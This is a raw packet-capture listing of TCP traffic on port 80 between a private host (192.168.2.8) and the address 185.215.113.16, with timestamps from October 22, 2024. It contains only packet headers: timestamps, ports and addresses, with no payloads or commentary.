Oct 22, 2024 19:24:40.304586887 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.304598093 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.304610014 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.304619074 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.304630995 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.304640055 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.304651022 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.304651976 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.304651976 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.304662943 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.304677010 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.304687977 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.304696083 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.304696083 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.304698944 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.304713011 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.304723024 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.304732084 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.304742098 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.304747105 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.304747105 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.304771900 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.304783106 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.304785967 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.304795027 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.304805994 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.304816961 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.304826975 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.304830074 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.304841042 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.304850101 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.304877043 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.304877043 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.337974072 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.337986946 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.337999105 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.338080883 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.338180065 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.338236094 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.338254929 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.338264942 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.338284016 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.338295937 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.338306904 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.338308096 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.338320017 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.338331938 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.338351011 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.338351011 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.378070116 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.378092051 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.378103018 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.378164053 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.378164053 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.378194094 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.378206015 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.378216982 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.378227949 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.378237009 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.378254890 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.378262997 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.378284931 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.378297091 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.378313065 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.378313065 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.378340006 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.378351927 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.378361940 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.378370047 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.378416061 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.378452063 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.378462076 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.378477097 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.378489017 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.378506899 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.378513098 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.378520966 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.378526926 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.378534079 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.378539085 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.378546000 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.378556013 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.378588915 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.378597021 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.378597021 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.378601074 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.378618002 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.378631115 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.378643990 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.378650904 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.378663063 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.378673077 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.378683090 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.378690004 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.378690004 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.378696918 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.378714085 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.378727913 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.378742933 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.378771067 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.378777027 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.378799915 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.378822088 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.378839970 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.378951073 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.378988981 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.379059076 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.379070044 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.379081011 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.379118919 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.379127026 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.379127026 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.379128933 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.379163980 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.379245043 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.379257917 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.379268885 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.379278898 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.379290104 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.379301071 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.379333973 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.379689932 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.379738092 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.379750013 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.379769087 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.379781008 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.379781961 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.379781961 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.379825115 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.379946947 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.379957914 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380000114 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380011082 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380022049 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380033970 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.380038023 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380048990 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.380050898 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380084038 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.380090952 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380104065 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380115032 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380125046 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380136013 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380141020 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380148888 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380156994 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380199909 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.380199909 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.380489111 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380510092 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380520105 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380532980 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.380565882 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380578041 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380585909 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.380589008 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380603075 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380616903 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.380651951 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380664110 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380675077 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380686045 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380697012 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.380697012 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.380745888 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.380784035 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380795956 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380806923 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380816936 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380829096 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380839109 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380851030 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380867958 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380876064 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.380876064 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.380884886 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380896091 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380896091 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.380908966 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.380908966 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380920887 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380933046 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380945921 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.380949974 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380963087 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380979061 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.380983114 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.380983114 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.381016970 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.381043911 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.381055117 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.381064892 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.381083012 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.381093979 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.381104946 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.381115913 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.381125927 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.381134033 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.381134033 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.381138086 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.381161928 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.381165028 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.381165028 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.381174088 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.381185055 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.381196022 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.381201029 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.381206989 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.381211996 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.381222010 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.381228924 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.381247997 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.381259918 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.381269932 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.381278038 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.381278038 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.381282091 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.381294966 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.381305933 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.381310940 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.381311893 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.381345034 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.381364107 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.381375074 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.381381989 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.381381989 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.381433010 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.381444931 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.381449938 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.381449938 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.381454945 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.381479025 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.381488085 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.381508112 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.381517887 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.381525040 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.381530046 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.381541967 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.381565094 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.381565094 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.383821011 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.384357929 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.419238091 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.419259071 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.419266939 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.419285059 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.419329882 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.419329882 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.419378042 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.419389009 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.419399023 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.419410944 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.419429064 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.419446945 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.419459105 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.419469118 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.419481039 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.419488907 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.419507980 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.419521093 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.419529915 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.419531107 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.419531107 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.419550896 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.419563055 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.419574022 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.419599056 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.419599056 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.419642925 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.419655085 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.419670105 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.419688940 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.419694901 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.419694901 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.419753075 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.419781923 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.419791937 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.419807911 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.419820070 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.419831038 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.419836044 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.419859886 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.419903994 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.419914961 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.419925928 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.419936895 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.419940948 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.420000076 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.455857992 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.455884933 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.455904961 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.455915928 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.455938101 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.455938101 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.455977917 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.455988884 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.456000090 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.456011057 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.456043959 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.456054926 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.456057072 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.456057072 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.456065893 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.456080914 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.456123114 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.493891954 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.493901968 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.493912935 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.493925095 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.493963957 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.493988037 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.494015932 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.494026899 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.494033098 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.494066000 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.494077921 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.494083881 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.494088888 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.494132996 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.494132996 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.494313002 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.494462967 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.494488001 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.494499922 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.494518042 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.494525909 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.494538069 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.494549036 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.494555950 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:40.494560003 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.494570971 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:40.494582891 CEST	80	49717	185.215.113.16	192.168.2.8
